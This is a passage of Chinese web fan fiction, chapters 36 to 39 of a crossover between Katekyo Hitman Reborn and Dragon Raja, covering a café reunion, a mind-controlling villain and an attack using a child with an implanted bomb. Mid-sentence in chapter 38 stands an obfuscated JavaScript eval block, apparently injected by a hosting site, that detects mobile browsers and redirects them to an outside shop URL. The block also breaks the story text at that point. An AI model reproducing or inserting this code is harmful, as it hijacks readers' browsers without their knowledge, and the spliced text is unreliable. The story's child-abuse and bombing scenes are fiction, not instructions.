游戏里又开始下雨了。沢田纲吉静静望着电视屏幕,雨水的潮气自天空漫延到他的肩膀。 怀中女孩犹豫一下,然后慢慢慢慢的伸手拽住了他的袖子。平整的西服面料皱起来,就像溺于海中的人抱住浮木。 战争结束的两个月后,艾莎终于正视了至亲的死亡,对一直以来追赶她的种种负面情绪投子认输。 在她以往的认知里,认输意味着失败,意味着死亡和中断。可是在沢田纲吉的怀抱中,一切好像又没有想象中那么糟糕。 36. 第36章 檀香味头发的女孩 “…吉君醒了?” 似乎又做了什么梦,脑子还是混沌的一团。 鼻子嗅到了淡淡的椰香,他下意识朝向声音的来源。 “冰箱里没有储备了,我去一趟超市……哈哈,这不是完全没醒么。” 这句话是什么意思?太复杂了,听不懂。 “时间还早,纲吉君可以再睡一会儿。刚刚Reborn让人把换洗衣服送来啦,浴室请随意使用没有关系。” 大门“喀”的一声阖上,房间里再度安静下来。 刚刚的声音是艾莎吧……她出门了么? 他迷迷糊糊地想道,思绪渐渐回笼。 喔,刚刚那句话的意思是她要出门买东西……冰箱里没有吃的了。 她还说什么?时间还早,他还能再睡一会儿。Reborn派人送了换洗衣物来,待会儿睡醒可以洗个澡。 …… 等等,是不是有什么恐怖的东西若无其事地混在这些句子里。 ……Reborn? …… Reborn!!! 沢田纲吉一秒钟清醒过来。 他手忙脚乱的从沙发上弹跳起来,结果因为用力过猛导致左脚绊住右脚,整个人失去平衡往地面栽倒。 多年的实战训练在这时显现出作用,他条件反射的以手撑地一个翻滚。 等背部贴上冰凉的地板,他才反应过来自己现在已经没有学校的早课要赶,以及方才他到底做出了多么滑稽愚蠢的举动。 还好艾莎出门了,没有看到刚刚那一幕。这是他的第一想法。 ……过夜了,他居然第二次在这里过夜了。这是他的第二想法。 说起来昨天到底是怎么睡着的?只记得后来艾莎不知道从哪里又摸出一瓶威士忌,他们两个人边打游戏边有一搭没一搭的聊天,不知不觉就喝掉了大半瓶。再后面的事就没什么印象了。 他把手搭在眼前,陷入艰难的回想当中。 并没有出现宿醉的症状……会睡着果然是因为最近太累了么? 这几天连续加班,精神一直处在高度紧绷的状态。一旦松懈下来,疲倦就如温水般浸泡着身体。 衣袖上能闻到不轻的酒气,因为代谢酒精的缘故身上也出了点汗。现在最佳的选择当然是先洗个澡……可这果然还是不行吧! 沢田纲吉以手掩面。 虽然是他自己名下的房产,但是现在住在这里的毫无疑问是艾莎——让他在一个单身女孩的住处洗澡什么的根本已经不是失礼的程度了! 艾莎临出门前是说了没关系……但是这绝对不行吧! 他率先否定了这个选项,然而很快又绝望地发现自己没有其他选项——是可以先回彭格列总部没错,但他下意识不想让艾莎回来只看到一间空荡荡的屋子;可如果要留在这里,他总不能就这么一身酒气的在客厅等她。 沢田纲吉有点苦恼地抓抓头发。但他没有纠结太长时间,最终还是心一横,以一名勇者般正直勇敢的姿态走向浴室。 温热的水打在身体上,冲刷走了清晨的倦意,也让人产生一种“选择洗个澡真是太好了”的想法。昨天发生的事一件一件重回脑海,与洛克家族的谈判、德维尔和【game】……以及混血种。 沢田纲吉动作一顿。昨天晚上接收的信息过于庞杂,他又仔细整理一遍,把没有来得及消化掉的东西重新梳理,并尝试将其与最近里世界的一些变动联系起来。 这个过程抵消掉了一部分他对于“自己正身处艾莎的浴室”所产生的别扭。可是也只持续到他打开香波瓶盖的那一刻而已。 不多时,淡淡的香味充盈了小巧的淋浴间。是无花果和椰子的味道。 椰子……他瞬间想起刚醒来时迷迷糊糊闻到的香味,以及昨晚女孩发间传来的、与此别无二致的淡淡椰香。 唔、这么说起来,艾莎刚才……果然也使用过淋浴间吧?就站在他现在站的地方…… 沢田纲吉的喉结滚动一下,然后他立即有点惊慌地甩甩头,像是要把脑中那些不合时宜的遐思统统摇散。 他蓦地加快了洗漱速度。所有思绪乱糟糟的挤成一团,再没有方才思考正事时的余裕。 Reborn派人送来的是一只手拎式旅行包。除了换洗衣物以外,毛巾牙刷等等一应俱全。 这种超出常态的贴心引得沢田一阵又一阵的胆战心惊。 展开衬衫的时候一张纸条掉落在地。是意大利语,他一眼就认出了Reborn硬挺锋利的字迹: 吃完早饭记得回总部。 P.S.九代目听说了你的事,他很欣慰,说你长大了。 沢田纲吉:“………………” 他心里仿佛有个小人被石化成灰白色的一坨又咔吧咔吧裂开几条缝。 ——长、长大是什么意思?是他想的那个意思么!?你都和九代目说了些什么啊魂淡! 他把纸条揉在手心而后深深捂脸。随着这个动作,那股淡淡的椰香似乎变得更加浓郁,几乎充盈他的身体。 这么说起来,现在他身上也是一样的味道了…… 这个想法迅速划过脑海。沢田纲吉的耳朵瞬间爆红。 奇异的是,在真正见到艾莎以后,这股别扭的羞赧反而烟消云散了。 她回来的时候他已经把客厅收拾得差不多,正开窗通风。女孩进屋时愣了一下,随即迎着晨光给了他一个大大的微笑。 “纲吉君早安!”她晃了晃手里的塑料袋,“我买了橙汁——早餐吃培根煎蛋好么?” 她看上去已经恢复了精神,他们之间的相处模式好像也没有发生什么改变。沢田暗自松了口气。 “早安。”他听见自己这样回应道,“我来帮忙。” “诶?那沙拉菜的清洗就拜托纲吉君了。待会儿急着回去么?” “不急。有事他们会给我打电话。”他快速过了一遍今天的安排,然后露出一个无辜又笃定的表情。去他的长大了。 “那刷碗和洗锅的事也拜托啦——”女孩歪歪头,有点狡黠的冲他眨眨眼睛。 -- “中奖?” “嗯。这种活动在这边很少见吧?”艾莎把抽到的奖券翻出来给沢田看。 在欧洲发行奖券需要通过报备和批准,手续相当繁琐。所以超市一般不会通过这种方式进行促销,只是定期向会员发放折扣而已。 “这是……”沢田纲吉接过那张色彩缤纷的奖券,上面是气泡体的意大利文。 “上面说什么?我只看得懂几个单词,双人、还有免费什么什么的。”艾莎显然对此期待甚高。 “是CaffèSyrena的免费招待券,”沢田微笑,“他们家的冰激凌很有名,据说是独门秘方。” “这样……”艾莎有点失落,“我还以为是什么大餐呢。” “比大餐厉害喔。这家店有超过150年的历史,应该是巴勒莫最古老的咖啡厅了。”沢田纲吉顿了顿,“但今天似 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CaffèSyrena坐落在老城区,和所有百年老店一样,有着与现代社会相比过于朴素古典的装潢,室内光线显得有些暗沉。 他们到的时候已是下午五点,然而店里的客人还是络绎不绝。游客和本地人都有,看来的确不是徒有虚名。 店里没有服务生,需要客人自主在柜台点单。老板一个人面无表情地站在收银台前,是个身高超过两米的壮汉,在意大利人中也是罕见的高个头。 艾莎远远看他生无可恋的应付一群不知道点什么好的韩国夕阳红旅游团,总觉得这人似乎已经彻底放弃了人生…… “艾莎想好点什么了么?队伍我来排就好。”沢田道。 “唔、我还要再研究一下。”她拿着店里的宣传单纠结(上面用世界各国语言写着“只有这些!请在排到前决定好。”不过看起来没什么人听从店主发自内心的意见。) 奖券包含的是咖啡加自选甜品的双人套餐,店里最负盛名的冰激凌倒不在其中。 “纲吉君已经决定好了么?” 沢田纲吉摇摇头,“你来点就好,我喝咖啡就可以。”他对甜品一向没什么偏好。 “才不要。”艾莎拉扯他的袖子强迫他一起低头研究,“从单选变成双选也只是增加难度而已——纲吉君休想逃。” 于是两个选择困难症一起陷入了纠结之中。 就在他们对着同一张宣传单低声有商有量的时候,一道惊喜的女声自身前传来。 “艾莎小姐!是艾莎小姐么?” 艾莎和沢田都是一愣。在西西里岛她使用的一直都是菲奥娜·怀特这个身份,除了沢田和几个彭格列的成员之外应该没有人知道她的真名才对。 她抬头望向打招呼的女孩——就排在他们前面,虽然用的是英语,但是带一点点的日式口音。 她认识的日本人统共也只有那么几个,经过排除后很快就得到了答案。 “是……真么?”她犹豫一下,带着点不确定的问道。 面前的女孩穿着淑女风的碎花连衣裙,头发染成时尚的浅栗色,与记忆中带着矫正牙套、梳着黑色马尾的高中生模样相去甚远。唯一没有变化的大概是脸上那抹温软的笑意。 “是,是我!”女孩使劲点点头,眼中闪动着纯粹的、故人重逢的喜悦,“我是真,麻生真!” 37. 第37章 本家 在异乡遇到故知总是一件值得高兴的事。 真这次是带着奶奶来西西里岛游玩。老人是那种典型的日本老太太,身形瘦小打扮素雅,慈眉善目的样子。 得知艾莎的身份后老人立即感激的朝她行礼。艾莎一向不擅长应对女性长辈,马上有点手忙脚乱地鞠了回去。 可日本人似乎有什么看到鞠躬必要回礼的风俗习惯。看到艾莎鞠躬真也开始鞠躬,最后沢田也不能幸免,四个人就这样胡乱对鞠了半天,在队伍里形成了一道奇异的风景线…… 之后他们找了一个四人位坐下。气氛一开始有些拘谨,但是话题很快就转移到了两年前的那趟日本之行。 “两年前我和二师兄还有另外两个师兄去日本实习,”艾莎有些纠结的向沢田纲吉补充说明,“后来遇到一些麻烦,多亏有真帮忙……” 两年前,学院在日本海域搜寻到了疑似古龙级别的心跳信号。由于那个地理位置比较尴尬,远程遥控爆破极有可能会把日本四岛整个炸沉,所以校长选择派遣专员直接下潜到8000米深海处进行精准爆破。 校长为此精心挑选了四个血统优秀的倒霉蛋,艾莎就是其中之一。 那场行动由学院与日本分部合作完成。学院在世界各地都设有分部,皆受总部直辖管制,唯独日本比较特殊。 那里的混血种势力直到二十世纪才被欧洲发现,千百年来早已在本岛形成一套根深蒂固的统治体系,秘党很难渗透进去。 于是长老会与日本的混血种家族达成协议。秘党不直接干涉他们的混血种事务,而后者则为前者提供支持。 二者间的关系比起从属更像盟友。 而在那场下潜行动中,日本分部全员背叛。艾莎他们四个在海底失散,再上岸时东京已经变了一副样子。 与学院的联系被彻底切断,又因为缺少装备,他们在巨大的城市里狼狈逃窜,而昔时的朋友成了领头追杀他们的人。 “唔,具体的我回去再和你讲……”艾莎说得吞吞吐吐,一来顾及到有老人在场,二来她曾当着真的面使用过言灵,后来真的记忆应该被修改过,但她不确定被修改到了什么程度。多说多错,不如不说。 沢田纲吉倒是心领神会地点了点头。 “真小姐是东京人么?听口音有些像。”他微笑着转移了话题。 “啊,是的!”真应道,“沢田先生也是么?” “嗯,不过不在市区。”沢田道,“我家是并盛町的。” “我知道那里!我有初中同学后来去了那边读高中,那边的风纪委员会好像很有名……” 气氛很快便松弛下来。沢田纲吉负责了大部分的谈话,这让艾莎悄悄松了口气。 或许是同为日本人的缘故,他和真以及真的奶奶交流得非常顺畅,从家乡的风土人情一路聊到意大利的生活,还顺便向她们推荐了好几个西西里岛值得去的景点。 艾莎偷偷觑一眼沢田的侧脸,心里觉得今天有他在真是太好了。她实在不擅长应对这样的场面……如果话题一直停留在真和老人对她的感谢她可能要当场逃跑。 不过纲吉君原来是东京人啊……东京都并盛町。她暗自把这个地名记在心里,尽管她自己也不明白为什么。 时间过得很快,艾莎和沢田正打算起身告辞,真却非常坚持地留住他们。 “至少、至少请让我向艾莎小姐表达感谢!”她咬咬嘴唇,很执着地望着艾莎。 艾莎有点崩溃地想感谢什么的不是已经表达过了么请务必不要再来一遍四人鞠躬,可对上真的视线时又是一愣。 女孩目光灼灼,似是有话要说。 “唔、”她挠挠头,“那请我吃个冰激凌怎么样?我听说这里的冰激凌很有名。” 真使劲点点头,笑得眉眼弯弯,“是!请务必让我请客!” 似乎是看出她们有话要说,沢田和老人都留在了座位上。真和艾莎则重新排到了长长的等待队列之中。 “艾莎小姐,我没把曼波网吧的事告诉奶奶,怕她害怕。所以刚刚不好问你。”真低声道,“后来我在医院醒过来,本家的人告诉我你们已经回去了,让我不用担心。艾莎小姐的手已经没事了么?我记得当时伤得很重……” “——早就没事啦,当时也只是看着严重而已。”艾莎直接撸起左边的卫衣袖子给她看,“现在连一点印子都没留下,毕竟我不是留疤体质嘛。” “太好了……”真松了一大口气,随即再度非常真诚的向她道谢,“后来我有再去千鹤町,从底下看网吧的那栋楼真的好高,可当时什么都没想就往下跳了……想想真的一阵后怕,如果不是艾莎小姐,真不知道会发生什么。” “没有的事,是我们给你添了麻烦才对。”艾莎摇了摇头,“就算没有我,凯撒师兄也会接住你的。” 这是谎言。当时因为帮助他们的缘故,真被千鹤町当地的暴走族劫持在五层高的天台顶部,四周都是流弹与火焰,其实谁也没把握救下她。 后来艾莎再去回想,如果她的言灵不是无尘之地,就算废掉一只手爆血跟着往下跳,或许也来不及。 可没必要让真知道这些。即便是现在回想,真的身体也不由自主的微微颤栗着。 没必要再继续增加她的恐惧。 听到凯撒的名字,真的眼睛一下子亮起来,可是很快又黯淡下去。 “艾莎小姐还记得寿么?”她突然主动道,“野田寿。” “是不是玩具商店那个……很喜欢极道文化,差点切小指的……?”艾莎努力回想一阵,“他现在怎么样?我记得他追你追得很紧。” “…嗯。现在也是。”真轻轻道,她撩了一下耳边的头发,“最近寿打算去上夜校,他说我在意大利读书,他也要努力才行。” “喔……”艾莎不尴不尬地应了一声。她有点不明白话题怎么突然转到野田寿身上,显得没头没尾的。 真笑一笑。可艾莎觉得她的情绪好像有些低落。 “……对了,艾莎小姐,我前几天在这边看到了黑.道的人,”真低声道,“虽然可能只是巧合而已,但是还是想着要告诉你一声。” 艾莎愣住,“是在西西里岛么?” “对。”真点点头,“就在老城区一家叫‘月’的酒吧门口。因为名字是汉字,所以我记得很清楚。不过看打扮应该不是本家的人,像是普通的帮派,就像寿所在的那种。” “这样啊。”听到最后一句话,艾莎的眉头舒展开来,“我会注意的,谢谢真。” “嗯!有帮到艾莎小姐的话就太好了!”真露出一个温柔的笑。 她们又聊了一会儿,真似乎以为艾莎与沢田正在交往,得到否定的答案后甚至流露出失望的表情。 “因为艾莎小姐和沢田先生看起来很般配呀。”她认真地说。 “欸?我们只是朋友啦……”艾莎边摇头边望向沢田那边。 沢田今天出门时换了常服,简单的白色T恤搭黑色牛仔裤,外面套一件军绿色衬衫,比起平时西装革履的样子一下子休闲很多。乍一看和普通大学生没什么两样。 现在他正耐心地听真的奶奶说着什么,侧脸轮廓柔和又干净。 唔、这么一想,今天的安排好像是有点像约会…… 艾莎一下子收回目光,却发现真的眼神变得有些揶揄,当下不自然地咳了两声。 “对、对了,我在西西里岛的事,能请真帮我保密吗?” “好的,我谁也不说!”真使劲点点头,“不过我和凯撒先生现在已经没什么联系了。” 她神色如常,艾莎心里却微微一动。她记得在日本时真对凯撒是直呼其名的,可是现在又换回了敬称。 又过一会儿,队伍终于排到了她们点单。艾莎要了最招牌的提拉米苏口味冰激凌,身高两米的壮汉老板苦丧着一张脸打开了冰柜。 之后他们在咖啡馆门口分别,真和奶奶决定再在这里多待一会儿,艾莎和沢田则打算另找个地方吃晚饭。 以后说不定不会再见了。这么想着,艾莎又忍不住扭头看了她们一眼。 她记得真说过讨厌下雨天,可是她们在东京的两次短暂碰面恰好全是雨天。 今天阳光倒很灿烂——能在西西里岛这么盛大的阳光下重逢真是太好了。 远远望着真和老人聊天时的灿烂笑容,艾莎也不由自主的跟着露出一个微笑。 嗯。真的是太好了。 再一回头,她正好对上沢田的笑容,“……怎么了?” 沢田纲吉摇了摇头,脸上笑意不变,“只是觉得,虽然嘴上不承认,但艾莎果然是个很温柔的人啊。” “…唔!”艾莎猝不及防被这句称赞糊了一 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注意到沢田目露疑惑,她又补充道,“是真告诉我的。因为之前是从黑.道手中救下的她,她可能以为我还在被追杀……呃,我是说,因为黑.道和混血种有点关系……” 说着说着她就自己停了下来。她并不想对沢田隐瞒什么,但是日本分部与学院关系太复杂,所以一时不知道该从哪边说起。 沢田纲吉犹豫一下,慢慢道,“艾莎说的黑.道,是指蛇岐八家么?” “诶?纲吉君知道蛇岐八家么?”这下惊讶的人轮到了艾莎。 所谓的日本分部就是指蛇岐八家。那是统领日本黑.道的家族,由三大姓和五小姓组成,合称为‘蛇岐八家’。二师嫂就出自三大姓中的‘上杉’,她是上杉家的家主。 蛇岐八家并不直接从事违法交易,他们是黑.道的执法人。日本几乎所有的帮派都会认蛇岐八家为‘本家’,他们的首领在打下地盘后必须亲自去本家的神社上香,以示对规则的臣服。 所以日本分部的成员都有双重身份,一方面是混血种,一方面则是黑.道干部。 ……说起来纲吉君是Mafia,也算混黑的。她是不是和混黑的特别有缘? 艾莎在心里暗自嘀咕。 沢田点点头,“相互都了解一些。毕竟是自己国家的事,总归会更在意一点。” “不过刚知道的时候真是吓了一跳,没想到东京会存在那么庞大的组织。”他笑了笑。 “彭格列和蛇岐八家也有合作么?”艾莎有点好奇地问。 “不,只是知道彼此的存在而已……算是互不干涉的关系吧?”沢田认真地想了想,“很久以前似乎有过合作,但近几十年都没什么交集。即使在里世界蛇岐八家也算得上非常神秘,所以艾莎说到混血种的时候,我第一个想到的就是他们。” 近几年蛇岐八家的消息倒是很多。比如内部好像有些动荡,五年内接连换了三任家主;还有高层一位很重要的小姐似乎和一个不靠谱的牛郎私奔了……不过这些都属于猜测或者花边新闻,沢田纲吉就没有说出来。 “呜哇……”艾莎感叹一下,“感觉好神奇。没想到纲吉君会知道蛇岐八家的事——这么一想,说不定在以前不知道的时候,我们也有过交集也说不定。” 闻言,沢田轻轻颔首,“两年前东京暴雨的时候我也正好在家。也许那时真的在哪里擦肩而过也说不定。” 他们又陷入沉默。两个人感叹缘分玄妙的同时,脑海中又都不约而同地划过同一个念头: 要是能早一点认识就好了。两年前的艾莎/纲吉君是什么样子呢? “…不过真小姐提到的帮.派成员大概和蛇岐八家没什么关系。”说着,沢田纲吉的脸上浮现出一种尴尬与无奈并存的神态。 他是知道近日来聚集在‘月’酒吧的日本□□的……原因无他,早在很久以前他就和他们打过交道。 拜某位无良家庭教师所赐。 “他们是以前并盛町的本土帮.派,”似乎是想到什么羞耻的回忆,沢田默默捂住了脸,“如果没记错名字的话……应该是叫‘桃巨会’没错。” 桃、桃什么? 艾莎被这胡来又搞笑的名字弄得当场愣住。 38. 第38章 追杀 老人率领十余名部下潜入了房间。 这里是德维尔家族上代首领购置的产业,主要用于度假和社交派对。从那长长的巴洛克式阶梯依稀能窥见几分昔日的荣光。 现在屋子里空空荡荡,显得黯淡,想是败落了。 老人心头划过一丝哀凉。 他曾是上代首领最器重的左右手,后来因为反对伊凡·德维尔继承而被排挤出高层之外。 如今首领与六名高层一夜被俘。家族中的其他人惶惶不可终日,终于想起从某个犄角旮旯把他刨出来。 能在最后为家族尽忠,也是一件不错的事吧?老人想道。无论伊凡·德维尔有多么软弱愚蠢,那毕竟是先代唯一的儿子,他得保住他的命。 “大人,这边!” 部下似是有了什么发现,老人快步跟上。他们沿着楼梯向上,推开了二层那扇雕花大门。 光线暗沉。一个穿着白大褂的男人不慌不忙地站在正中。 “就是你么?迷惑了首领的人。”老人沉声问道,“你究竟是什么人?” 这种不善的语气本身就是一种命令。他身后的部下纷纷将手中武器上膛。 “哦,我只是个名不见经传的小人物。”男人谦逊地微笑,“Doctor,叫我Doctor就好了。” “故弄玄虚对你没有好处。”老人冷冷地说,“现在你有两个选择,跟我们走,或者死在这里。” “走?走去哪里?”Doctor故作惊讶,“伊凡大人呢?他在哪里?我只听从他的命令。” “首领现在正在彭格列家族做客。”老人面容冷硬,“彭格列Ⅹ世是位可敬的人,等见到你之后,他自然会做出最公正的裁决。” 他已看出Doctor没有乖乖就范的意思。尽管不清楚这个身形文弱的男人究竟是哪儿来的底气,但老人已不打算再多费口舌。 他点燃了死气之火——反正需要的只是活口,至于四肢是否完整,那并不重要。 看到那摇曳的紫色火焰,Doctor依然没有任何躲闪的意思,甚至连手都游刃有余地插在白大褂的口袋里。 低低的吟唱声自他身后传来。一个庞大的领域笼罩了整个房间。 老人的戒指堪堪停在匣兵器前,再也前进不了半分!其余的部下同样,伴随着那古怪的吟唱,他们的表情逐渐变得迷惑、最后双瞳空洞无神。 “看来今天我既不用跟你们走,也不用死在这里了。”Doctor的声音里带着淡淡的嘲弄。 他悠然地走近了。 “我以前待过的国家糟透了,到处都是猴子一样的男人和罗圈腿的女人。”Doctor说道。 “——可那里奉行一种棒极了的精神。” 他手舞足蹈地踱着步,语气激昂。 “男人要忠于主君。当效忠的君主或者国家灭亡时,他们就该随着一起死去。因为最重要的是责任而不是生命,死亡不过是完成责任的一种手段。苟且偷生的都是懦夫。” 他露出不怀好意的微笑:“现在你们的首领被人俘虏。经受了这么大的屈辱,你们所想的怎么能是求和呢?” 吟唱声还在继续。老人与部下面容呆滞,眼中隐隐有旋涡状的纹路流转。 “你们该愤怒,该疯狂!谁侮辱了你们的首领,就等于侮辱了你们的君主你们的国家,你们该……不择手段地杀了他!” Doctor张开双手,“现在,点燃你们的死气之火!” 各属性的火焰在他眼前燃起。他观察它们,眼神冷漠,就像在超市挑选猪肉。 最后他选中一个年轻的Mafia,将其拉出人群之外。一支小小的玻璃试管被放入那名Mafia的左胸口袋里。 “等我们出去以后再用。”Doctor鼓励般拍了拍他的肩膀,顺便抚平了他西服上的褶皱。 做完这一切后,Doctor打了个响指。吟唱声戛然而止,老人和部下们的眼睛恢复了光彩,然而先前他们对Doctor的那种警惕与敌意已经消失了,取而代之的是敬畏与服从。 ——就好像有人凭空劈开了他们的脑子,将另一种意志灌输了进去。 “雅纪,我的好孩子,到我这里来。”Doctor朝身后伸出手。很快,一只小小的手搭了上来。 那是一个十二三岁的男孩,脸部已初具硬朗轮廓,却偏偏套着一条过分宽大的红色长裙。 “我们今天出去玩好不好?”Doctor弯下腰,亲了亲雅纪的侧脸,“你不是一直想出去么?” 雅纪没有回话,只是习以为常地把另一只手也放在Doctor掌心。他的两只手腕贴合在一起,上面有暗红色的绑缚痕迹。 “不,今天不用绑起来。”Doctor边说边在雅纪的腹部轻轻按压了一下,“记住我早上说的话,要请大哥哥和大姐姐看烟花。” 隔着裙子,孩童的肚子本该柔软温热。然而现在手上的触感却是坚硬冰冷的。 Doctor声音轻柔,“之后你就自由了,想去哪里都可以。” 然后他们走出房间。除了那名被挑选中的年轻Mafia之外,所有人都跟在他们身后。 大门阖上的同时,房间内就传来某种诡异的、尖锐的嘶吼,就像人的血肉被猝然挣破爆裂。 “……大意了,”Doctor有点苦恼地捂住耳朵,“刚才应该让他过五分钟再用的。” -- 巴勒莫老城区 “纲吉君,你觉得怎么样?”艾莎神色微妙。 “……比想象中要好。”沢田微微拧眉,“但怎么说,果然还是有点奇怪吧……” 他们站在一家名为Naan&Chili的餐厅门外,淡黄色的玻璃门隔绝了里头明快的鼓点乐声。 因为这次恰好赶上饭点,所以老城区的餐馆爆满。他们在街上晃悠半天,最后鼓足勇气选择了两个人都没尝试过的神奇料理——印度菜。 菜单上英文与意大利语夹杂出现,然而他们还是研究半天都没搞懂,只是在‘主厨推荐’那一栏上胡乱点了几样。 然后他们就得到了一碟黄色的糊糊、一碟红色的糊糊以及一碟红黄相间的糊糊。 “那个菜的卖相实在是……不过馕很好吃。”艾莎顿了顿,“……纲吉君,你有没有觉得肚子有点怪怪的?” 准确的说应该是肠子——她的肠子正咕咕作响,但那种感觉与其说难受倒不如说微妙,就像有一条小鱼在里面轻轻吐泡泡。 “……艾莎也是么?”沢田有点尴尬的轻声道。 两个同病相怜的人捂着肚子对视一眼,接着忍不住一齐笑出了声。 这时已经是晚上八点。四月的西西里岛气候宜人,温暖的夜风吹得人直想伸懒腰。 他们沿着古老的街道漫步而行,有一搭没一搭的继续着晚餐时的话题。 “…之后大师兄还根据我们那趟日本之行写了部小说,我们分别是‘跋扈的贵公子’、‘永燃的瞳术师’、‘风暴的守望者’以及‘神眷之樱花’,纲吉君猜哪个是我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658797|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……反正不会是‘神眷之樱花’。”沢田纲吉道。 按照正常逻辑来讲应该就是这个。但他此时已经摸出了一点规律,那就是决不能按正常逻辑来揣度这帮人。 他凭着直觉给出答案,“风暴的守望者?” “厉害!这是传说中的超直感么?”艾莎一脸惊奇,“说起来,纲吉君的超直感是对一切都适用么?” 她的思维一如既往的跳脱。 “那以后我手游抽卡之前,是不是只要提前问一下纲吉君能不能出货,如果你说不能我就不抽什么的……” “不,超直感不是这么用的啊艾莎。”沢田毫不留情地槽道,“而且即使得到否定的答案你也一定会抽的吧!” “说到底我就是这种不会对命运低头的人啊!”艾莎以手握拳。 “这么帅气的台词用在这里真的不要紧么……” 身后传来若有若无的窥视感,带着明显的恶意。他们一边继续着对话,一边不着痕迹的相互看了一眼。 沢田对这一带的地形更加熟悉,他稍稍领先一步,艾莎紧随其后。 他们拐入一条漆黑的巷子。沢田纲吉刚要挡在她前面,就见女孩一套颇为狠辣的泰式组合拳加锁喉,将跟踪者牢牢制服在了墙壁上。 看她这套动作行云流水,平常打家劫舍杀人越货的事显然是没少干。 沢田纲吉:“……”突然感到没有用武之地。 “纲吉君带武器了么?”艾莎熟练的从跟踪者身上摸出手.枪和匕首,“要哪个?” “匕首。”说完,沢田一把接住她抛掷过来的武器。 失去意识的跟踪者软软瘫坐下去,巷口传来更多更急促的脚步。 艾莎与他对视一眼,“这里游客太多,” “——先去人少的地方。”沢田快速补完了她的话。 老城区的巷子四通八达复杂无比,艾莎本想跟在他身后跑。然而沢田纲吉一把拉住她的手又扣住她的腰,大空火焰瞬间爆发出强大的推进力,再反应过来的时候他们已经到了巷子另一头。 “这不科学……”艾莎喃喃道。现在她依旧是看不到死气之火的,因此只觉得沢田使用了某种类似瞬移的作弊技能。 似乎是对她的os心有所感,沢田有点无奈地低头看了她一眼——在进入超死气模式后他的表情会比往常平淡很多,据本人描述似乎是注意力极端集中的缘故。 艾莎被这个注视看得耳朵莫名一烫。现在暂时是没什么她能做的事了,于是她软绵绵的往他怀里一靠,乖乖当起人体挂件。 女孩温热的呼吸堪堪擦过他的侧颈。沢田纲吉身体微不可查的一僵,随即揽着她腰的手下意识紧了紧。 “听脚步一共十一个人。”这时艾莎小声说,“如果交手不用担心流弹,我有办法挡住。对方使用匣兵器的话就拜托纲吉君了。” “知道了。”沢田淡淡地应道。 看上去完全是冷静自若的样子啊。艾莎悄悄想道。 可心跳得有些快——点燃死气之火是不是一件很耗费体力的事呢? 他们似乎高估了那些人的追踪能力。在沢田七拐八拐了几个弯以后,脚步声离得越来越远,直到最后回归彻底的静谧。 “到了。”沢田纲吉松开艾莎。分开时两个人不约而同地清了清嗓子,像是要让某种诡异的余温快些消散似的。 车子就停在不远处被路灯照亮的地方。他们都不欲留在这里和那群人过多纠缠,因此快步朝路灯的方向走去。 39. 第39章 哆啦A梦 四周无人,沢田的那辆AMGE53安安静静停在原地。 等走到近处,艾莎突然拉住了他。她先是指了指自己的耳朵,又将视线缓缓移向汽车的后备箱。 她听得很清楚,那里藏着第三个人的心跳声。 这大概才是那群杀手的用意——假意围追堵截、迫使他们驾车快速撤离,其实真正的杀招藏在车里。 可既然他们知道汽车的位置,为什么不额外再设埋伏?还是说没有料到追击时会被沢田远远甩在身后? 艾莎边想边向周围扫视一圈。这附近的确没有其他人躲藏的迹象。 这种时候最佳的处理方案当然是放弃车子直接离开,他们有足够的时间。她用眼神示意,但沢田纲吉却摇了摇头。 他似乎不是第一次遇见这样的事了,因此表情平静。他选择直接打开后备箱的舱门。 看到躲在里面的人,艾莎一愣——这算什么杀招,色.诱么? 那居然是个小女孩,长发漫卷,眼睛被一条黑布蒙住。身上套着条过分宽大的红色长裙,腰部两侧被剪开,露出的肌肤晶莹雪白,隐约透出点叫人不适的妩媚。 听到车外的动静,小女孩立即将手伸进腰部的破洞里。 某种剧烈的危机感骤然涌上心头,艾莎条件反射的展开了领域。无尘之地瞬间释放,将小女孩连同车子一起推向远处。 可无尘之地阻拦不了女孩的动作。随着她被推远,艾莎突然意识到自己犯了一个错误——巨大的错误! 她下意识伸出手,可是来不及了!她只能眼睁睁看着那个孩子双手在腹部用力一拉,就像士兵毫不犹豫地拉开手.雷拉环。 “艾莎!” 这时沢田同样反应极快地冲了出去。虽然不明白他要做什么,艾莎还是收回了领域。这是种本能的信任,沢田好像总能做到她所做不到的事。 四周的温度急剧下降。等沢田纲吉再撤开手的时候,那孩子已被冻结在一大块冰块之中。看到这一幕,艾莎的眼睛微微睁大。她不由自主地上前几步。 “……是人体炸.弹。”沢田低声道。他似乎早有预感,因此并不惊讶,只是愤怒。 这种微型炸.弹通过手术直接埋植在腹部,很难被设备检测到。为了追求更高的成功率,‘载体’通常是孩子或者女人。 里世界惯用轻松诙谐的语言描绘一切惨烈血腥的东西,人们把这种残酷的武器称作“看烟花”。 沢田脸上飞快地闪过一丝厌倦,然而也只是一瞬间而已。他若无其事的收敛神色,将注意力重新放到那个孩子身上。 刚刚一切都发生得太快,电光火石间来不及注意细节。现在倒是能很明显的看出这孩子其实是个男孩,只是戴着假发而已。 他不过十二三岁的年纪,因为先前被推出去的动作,假发滑落至后脑,又被冰块冻住,显得滑稽可怜。 他无疑遭受过恐怖的虐待。裸露的头皮上满是青紫痕迹,又遍布密密麻麻的针孔。 刚才蒙住男孩眼睛的那块黑布被风吹落,他的瞳孔居然是浑浊的金色,叫人想起蜥蜴或者是蛇那样的东西,但又远比这二者冰冷邪恶。 和这双眼睛对视久了会有很不舒服的感觉,如同精神被剥夺啃食。人类不该有这样的眼睛。 沢田纲吉率先移开了视线。 忽然,他像是想到了什么,心有所感地看向了身旁的女孩。 艾莎似乎并没有注意到他方才的反应。沢田还没来得及松一口气,心里就又被另一种层面的担忧笼罩。 ——女孩此刻的表情太平静了。他认得这种平静,每当她下意识压抑自己的情绪时就会出现这种表情。 此刻,她眼睛一眨也不眨地盯着那个孩子头上的伤口。她的指尖轻轻颤抖着,就像看到从地狱爬回来的恶鬼。 -- 